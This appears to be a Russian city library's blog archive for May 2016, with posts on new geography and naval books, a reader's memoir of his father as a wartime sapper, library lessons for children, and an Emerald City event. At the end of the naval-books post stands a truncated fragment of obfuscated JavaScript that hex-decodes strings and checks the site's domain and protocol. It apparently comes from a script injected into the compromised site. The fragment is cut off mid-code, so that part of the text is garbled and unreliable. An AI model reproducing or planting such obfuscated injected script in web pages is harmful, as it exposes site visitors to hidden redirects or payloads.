Месяц: Май 2016

  • Весь мир на твоей ладони

    Весь мир на твоей ладони

    География —  наука, изучающая географическую оболочку Земли, ее структуру, пространственные связи между поверхностью Земли и человечеством, а также размеры и границы суши, морей, ресурсы, климатические зоны, жизнь растений и животных. Важность географии также велика, как здоровье в жизни человека, и поэтому дополнительные знания и новые сведения о явлениях и событиях, происходящих в природе Земли и жизни народов различных стран  весьма полезны.  Центральная городская библиотека им. Ю. Н. Либединского рада представить вам книги из нового поступления этой тематики:

     7233035Иллюстрированный атлас России. – М.: ЗАО « Издательский Дом Ридерз Дайджест » 2005 – 352 с.: ил.

    Иллюстрированный атлас России – это книга, которая должна быть в каждом доме. Подробный справочник необходим студентам и школьникам, взрослым и детям, людям, увлекающимся географией, и всем, кто хочет путешествовать по родной стране. С новым атласом России сделать это очень просто. Найти нужную точку на карте не составит труда: алфавитный указатель укажет страницу и квадрат, в котором находится искомый населенный пункт.Карты этого атласа с эффектом «светящихся букв» разработаны лучшими картографами Ассоциированного картографического центра специально для «Ридерз Дайджест». Четкие, подробные, не перегруженные деталями, – они легко читаются и точно отражают федеративное устройство России.

    P._P._Suprunenko_Yu._P._Suprunenko__Gory

    Супруненко П.П., Супруненко Ю.П. Путешественники и мореплаватели. В 2 кн. – М.: ТЕРРА – Книжный клуб, 2005 (Популярная энциклопедия).

     Каких только путешествий не совершало человечество на стернистом пути: познавательно-научные, корыстно-пиратские, поощряемые властями и проводимые на пожертвования, вынужденные и добровольные, вдохновляемые «музой странствий» и подгоняемые «ветром перемен». Мореплаватели и путешественники ярче всего воплотили в жизнь стремление людей к открытиям и поиску неведомого. В книге приведено около тысячи имен всемирно известных первооткрывателей, рассказывается об интересных судьбах великих «покорителей пространств» разных эпох и стран.воем

    cover

    Затонувшие сокровища: Жак – Ив Кусто. Мир без солнца; Жак Ив Кусто, Филипп Диоле. Затонувшие сокровища. Пер. с фр. Р.А.Фесенко, И.О.Фельдман / Худож. В.Брагинский. – М.: АРМАДА, 1998. – 362 с.: ил. – (Вокруг света).

    Книга известного исследователя океана рассказывает о великих тайнах природы и истории, раскрывает глубину не познанного людьми подводного мира. Популярное произведение великого французского ученого для широкого круга читателей.

    73441_1

    Супруненко П.П., Супруненко Ю.П. Путешественники и мореплаватели. В 2 кн. – М.: ТЕРРА – Книжный клуб, 2005 (Популярная энциклопедия).

     Каких только путешествий не совершало человечество на своем тернистом пути: познавательно-научные, корыстно-пиратские, поощряемые властями и проводимые на пожертвования, вынужденные и добровольные, вдохновляемые «музой странствий» и подгоняемые «ветром перемен». Мореплаватели и путешественники ярче всего воплотили в жизнь стремление людей к открытиям и поиску неведомого. В книге приведено около тысячи имен всемирно известных первооткрывателей, рассказывается об интересных судьбах великих «покорителей пространств» разных эпох и стран.

  • Немного о любви

    Немного о любви

    9 мая  — самый главный праздник в нашей стране. В этом году он прошел, как обычно, с большим патриотическим подъемом. К этой дате мы стараемся вспомнить подвиги тех, кто отстоял нашу страну, поздравить ветеранов.

    Читатель библиотеки-филиала № 4  Лесников В.Е. решил поделиться с библиотекарями рассказом о своем отце – участнике Великой Отечественной войны:

    семья Лесниковых

    «Лесников Ефим Трофимович родился в 1898 году в селе Верхний Мамон Верхнемамонского района Воронежской области. Отсюда был призван на фронт осенью 1941 года.

    Мы все на протяжении своей жизни постоянно учимся Любви во всех ее многообразных проявлениях. И мне хочется показать на примере моего отца, как это великое чувство помогло ему справиться со всеми суровыми испытаниями военного лихолетья и возвратиться домой живым.

    Весь свой военный путь отец прошел по специальности, о которой говорят, что ее обладатели ошибаются только один раз в жизни — минером. И только великое чувство Любви: к богу, к своему делу, к себе, к сослуживцам, к своему народу и Родине, свободу и независимость которых он защищал на полях сражений, — позволило ему безошибочно пройти не только долгие годы Великой Отечественной, но даже и после нее. Об этом я расскажу чуть-чуть позже.

    О том, как он каждый день и не по одному разу не просто по собственному желанию садился на пороховую бочку, а постоянно ходил по ней, отец не любил рассказывать. А вот пример из одного письма мне хорошо запомнился. Натолкнувшись на отчаянное сопротивление отступавших гитлеровцев, наши части расположились на левом берегу Днепра в ожидании подходящего момента для его форсирования. Несмолкаемая стрельба с противоположного берега, артиллерийская канонада, бомбежки авиации с воздуха наглядно демонстрировали все прелести ада на родной матушке Земле. Отцу на небольшом холмике у берега удалось найти что-то вроде убежища, похожем то ли на нору, то ли небольшую воронку от взрыва, то ли еще на что-то. Почти одновременно с ним сюда же подполз офицер, попросил отца потесниться, так как отсюда был более удобным сектор обзора. А здесь и одному было не так просто разместиться. Мысленно обратившись к богу: «Господи, на все твоя воля», — отец выполнил просьбу-приказ и освободил убежище. А через несколько минут, когда он уже достаточно удалился от этого места, здесь прогремел мощный взрыв.

    Возвратился домой отец осенью победного 45-го года. А на следующий год я пошел в школу. Но и в это мирное время отзвуки войны еще напоминали о ней, унося жизнь то одних, то других моих сверстников. Когда весной мы вокруг школы высаживали молодые деревца, были обнаружены оставшиеся мины. И чувство любви к нам, школьникам, работникам школы, односельчанам, жившим по соседству с ней и случайным прохожим не оставили равнодушным сердце отца. И он, как и в прошедшие грозные годы, снова без единой ошибки обезвредил все мины уже подручными средствами. А вечером дома он сказал мне: «Ну вот, сынок, мы и сходили с тобой на войну, куда тебе так хотелось 6 лет назад». Нахмурившись, я ответил: «Я уже не хочу туда».

    И в заключение хочу призвать всех использовать как можно больше граней великого чувства Любви. Любите себя, всех ближних, как самого себя, что хорошо известно нам из священного Писания, любите свое дело, каким бы оно не было трудным, любите Бога. И любовь, несмотря на свою бескорыстность никогда не останется перед нами в долгу. Что и было с моим отцом как в годы Великой отечественной войны, так и в мирное послевоенное время.

    Боевой путь отец закончил в Будапеште. Похоронен в 1970 году в городе Миасс Челябинской области».

    Лесников В.Е., читатель библиотеки-филиала № 4

     

  • Самое лучшее предназначение есть защищать своё Отечество

    Самое лучшее предназначение есть защищать своё Отечество

    Уже трехсотлетнюю с небольшим историю насчитывает Военно-морской флот России. В наши дни флот является одним из важнейших инструментов внешней политики, а в военное время — высокоэффективным средством ведения боевых действий. Предлагаемые читателям новые книги, поступившие в Центральную городскую библиотеку им. Ю.Н. Либединского, будут интересны всем, кто интересуется современной военно-морской техникой и вооружением.

    Детская военно-морская энц.Золотов, А. В. Детская морская энциклопедия / [Золотов А.В.]. — М.: Росмэн-Пресс, 2005. — 128 с.
    В статьях «Детской морской энциклопедии» читатель найдет самые современные сведения о различных кораблях, навигационных приборах, истории кораблестроения, обо всем, что связано с освоением морских просторов человеком. Текст книги дополняют отрывки из литературных произведений отечественных и зарубежных писателей-маринистов.

    Военно-морской словарьВоенно — морской словарь / [гл. ред. В.Н. Чернавин]. — М.: Воениздат, 1989. — 511 с.
    В Словаре помещено около 11000 статей, дающих в сжатой форме систематизированное толкование военно-морских терминов, как современных, так и применявшихся в прошлом. В материалах Словаря раскрывается современное состояние военно-морского дела, даётся характеристика кораблей, судов, летательных аппаратов, оружия, технических средств. В Словаре помещены также биографические справки о русских, советских и зарубежных флотоводцах и военачальниках, героях войн, крупных учёных, изобретателях и конструкторах. Словарь рассчитан на широкий круг читателей, интересующихся военно-морским делом.

    Жук Справочник

    Жук, А. Б. Справочник по стрелковому оружию: револьверы, пистолеты, винтовки, пистолеты-пулемёты, автоматы / А. Б. Жук. — М.: Воениздат, 1993. — 735 с.
    Издание объединяет две книги А. Б. Жука, выпускавшиеся ранее: «Револьверы и пистолеты» (первое издание в 1983) и «Винтовки и автоматы» (первое издание в 1987). В нём рассматриваются различные виды огнестрельного оружия практически всех стран мира, созданные с середины 19-го века по середину 20-го.
    Обе части справочника предваряются небольшими вводными статьями, в которых дается краткая генеалогия означенных в заглавии видов вооружения и обозначаются основные направления технической мысли, предшествовавшие их появлению, что очень полезно для понимания общих закономерностей в истории оружия.
    Большая часть справочника и самое ценное, что в нем есть — это рисунки, выполненные самим автором. Есть точное графическое изображение даже тех образцов, которым уделено буквально несколько строчек текста, что делает эту книгу очень ценным определителем, особенно в тех случаях, когда вы даже приблизительно не знаете, что за образец перед вами. Поиск возможен также по названию образца или системы: в книге есть предметно-именной указатель.

     

     

    // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «miasslib.ru»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

  • Основы информационной грамотности учащихся

    Основы информационной грамотности учащихся

    IMG_8528

    Ведущий библиограф Отдела библиографической работы Центральной библиотеки  им. Ю. Н. Либединского М. А. Шерстнева в рамках Программы «Путеводители в мире информации»подготовила  цикл библиотечных уроков для учащихся начальных классов гимназии № 19, которые проходили  и в гимназии и в библиотеке. Проведенные библиотечные уроки пополнили знания учащихся начальных классов о книге и Интернете.

    20 апреля 2016 года  был проведен урок «Ру и Нет спешат на помощь», посвященный Дню рождения Рунета, который познакомил учащихся начальных классов с Рунетом, т.е с русскоязычной частью Интернета. Дети в ходе красочной электронной презентации узнали об истории создания Интернета, его возможностях, а также об опасностях, которые могут подстерегать маленьких пользователей во Всемирной паутине

    После презентации ребята участвовали в викторине. Отвечали правильно и с удовольствием. Для закрепления знаний были показаны видеоролики «Безопасный Интернет».

    Библиотечный урок «От корки до корки», проведенный ведущим библиографом М. А. Шерстневой 26 апреля 2016 года, познакомил учащихся со строением книги. Ребята наглядно изучили каждую ее часть.Урок сопровождала  электронная презентация и видео «Художники-иллюстраторы детских книг».В конце урока ребята увидели  еще один видеоролик «Правила поведения в библиотеке» и  правильно ответили на вопросы  викторины.

    Целью библиотечного урока «Словари и словарики», который состоялся 29 апреля 2016 года было  знакомство учащихся начальной школы со справочными изданиями библиотеки: энциклопедиями, словарями, справочниками.  Справочные издания Центральной библиотеки им.Ю.Н.Либединского были представлены на выставке. Дети узнали много нового, интересного, познавательного. Например, что энциклопедии пришли к нам из Франции, а слово «энциклопедия» греческого происхождения и означает «круг знаний».  Также учащиеся поняли роль словарей в русском языке и познакомились с их разновидностями. Рассказ о справочной литературе дополняла видео-презентация с элементами анимации. Ребята не только слушали и запоминали, но и отдыхали. С удовольствием участвовали в красочной викторине «Угадай героя сказки». В заключение урока ребята посмотрели ролики «Веселые фразеологизмы» и «Фразеологизм «Делать из мухи слона».

    4 мая для учащихся гимназии  был проведен библиотечный урок «Восьмое чудо света». Восьмым чудом света назвали книгу. И урок был посвящен истории письменности и книги. В электронной презентации, сопровождавшей урок показаны все этапы развития книги – от каменной до электронной. В ходе урока ребята отвечали на вопросы викторины, по заданию  вставляли пропущенные слова на тему книги в поговорки и пословицы. В заключение урока библиограф рассказала о правилах пользования книгами и учебниками.

    IMG_8616

    Библиотечные уроки в Центральной библиотеке им. Ю. Н. Либединского сопровождались экскурсиями по библиотеке. Ведущие библиотекари Т. Ю. Харченко, Т. Г. Ширяева, Н. М. Давыдова познакомили школьников с отделами библиотеки, книжным фондом, тематическими выставками.

    IMG_8649IMG_8536IMG_8646IMG_8608IMG_8592

     

  • Кто построил «Изумрудный город»?

    Кто построил «Изумрудный город»?

    IMG_878616 мая в Центральной городской библиотеке им. Либединского прошла игровая программа «Кто построил «Изумрудный город?» для детей из д/с №72. Библиотекари О.Н. Нурумова и Р.М. Хлызова рассказали юным читателям о жизни и творчестве Л.Ф. Баума и А.М. Волкова.
    Ребята с удовольствием погрузились в атмосферу сказки и волшебства, вместе с героями книг совершили путешествие по Волшебной стране (голубой, фиолетовой, зеленой и розовой)
    Дети отвечали на вопросы викторины:
    — «Кто похитил Элли по дороге в Изумрудный город?»
    — «Что выдавали каждому при входе в Изумрудный город?»
    Отгадывали загадки:
    -«Кто придумал эти ноги, изобрел шаги?
    У него, конечно, были в голове мозги!
    Я шагаю неуклюже – за умом иду.
    Может, что-нибудь не хуже я изобрету (Страшила)

    А потом они хором пели песню «Мы в город Изумрудный идем дорогой трудной…»

    IMG_8777
    Ребята познакомились с новыми для них книгами, узнали об истории написания цикла из 6-ти сказок о Волшебной стране, а затем посмотрели мультфильм по мотивам произведений А.М. Волкова.
    Встреча получилась веселой и непосредственной.

    IMG_8776IMG_8784IMG_8781